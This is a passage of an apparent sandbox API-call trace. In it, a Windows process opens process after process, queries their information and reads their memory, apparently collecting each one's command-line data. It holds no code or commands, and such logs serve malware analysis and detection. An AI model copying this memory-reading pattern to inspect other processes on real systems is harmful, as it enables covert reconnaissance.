(_Block=0xea96a0) [0344.151] CloseHandle (hObject=0xa9c) returned 1 [0344.151] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0344.151] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0344.151] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.151] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.152] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0344.152] GetLastError () returned 0x0 [0344.152] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.152] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.153] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.153] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.153] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.153] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.153] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.153] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.153] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.154] malloc (_Size=0x6c) returned 0xea9120 [0344.154] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea9120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0344.154] free (_Block=0xea9120) [0344.154] CloseHandle (hObject=0xa9c) returned 1 [0344.154] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0344.155] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0344.155] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.155] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.156] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0344.156] GetLastError () returned 0x0 [0344.156] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.156] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.156] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.156] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.156] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.157] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.157] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.157] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.157] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.157] malloc (_Size=0x32) returned 0xe723b0 [0344.157] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe723b0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe723b0*, lpNumberOfBytesRead=0x0) returned 1 [0344.158] free (_Block=0xe723b0) [0344.158] CloseHandle (hObject=0xa9c) returned 1 [0344.158] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0344.161] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0344.161] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.161] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.162] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0344.162] GetLastError () returned 0x0 [0344.162] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.162] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.162] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.163] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.163] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.163] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.163] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.163] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.163] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.164] malloc (_Size=0x72) returned 0xea8ca0 [0344.164] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8ca0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0344.164] free (_Block=0xea8ca0) [0344.165] CloseHandle (hObject=0xa9c) returned 1 [0344.165] _ui64tow_s (in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0344.165] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0344.165] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.165] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.166] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0344.166] GetLastError () returned 0x0 [0344.166] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.166] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.166] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.166] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.166] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.167] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.167] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.167] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.167] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.167] malloc (_Size=0x76) returned 0xea8f20 [0344.167] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea8f20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0344.168] free (_Block=0xea8f20) [0344.168] CloseHandle (hObject=0xa9c) returned 1 [0344.168] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0344.169] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0344.169] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.169] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.169] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0344.170] GetLastError () returned 0x0 [0344.170] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.170] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.170] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.170] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.170] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.170] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.170] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.171] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.171] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.171] malloc (_Size=0x14c) returned 0xe9ac70 [0344.171] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xe9ac70, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe9ac70*, lpNumberOfBytesRead=0x0) returned 1 [0344.172] free (_Block=0xe9ac70) [0344.172] CloseHandle (hObject=0xa9c) returned 1 [0344.172] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0344.173] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0344.173] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.173] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.178] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0344.178] GetLastError () returned 0x0 [0344.178] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.178] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.178] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.178] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.178] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.179] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.179] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.179] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.179] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.179] malloc (_Size=0x64) returned 0xeb6230 [0344.180] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6230, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0344.181] free (_Block=0xeb6230) [0344.181] CloseHandle (hObject=0xa9c) returned 1 [0344.181] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0344.181] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0344.181] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.181] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.182] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0344.182] GetLastError () returned 0x0 [0344.182] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.183] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.183] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.184] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.184] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.185] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.185] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.185] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.186] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.186] malloc (_Size=0x11a) returned 0xe76760 [0344.186] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xe76760, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe76760*, lpNumberOfBytesRead=0x0) returned 1 [0344.188] free (_Block=0xe76760) [0344.188] CloseHandle (hObject=0xa9c) returned 1 [0344.188] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0344.188] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0344.188] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.188] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.192] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0344.193] GetLastError () returned 0x0 [0344.193] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.193] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.194] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.194] malloc (_Size=0x64) returned 0xeb6460 [0344.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6460, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0344.195] free (_Block=0xeb6460) [0344.195] CloseHandle (hObject=0xa9c) returned 1 [0344.195] _ui64tow_s (in: 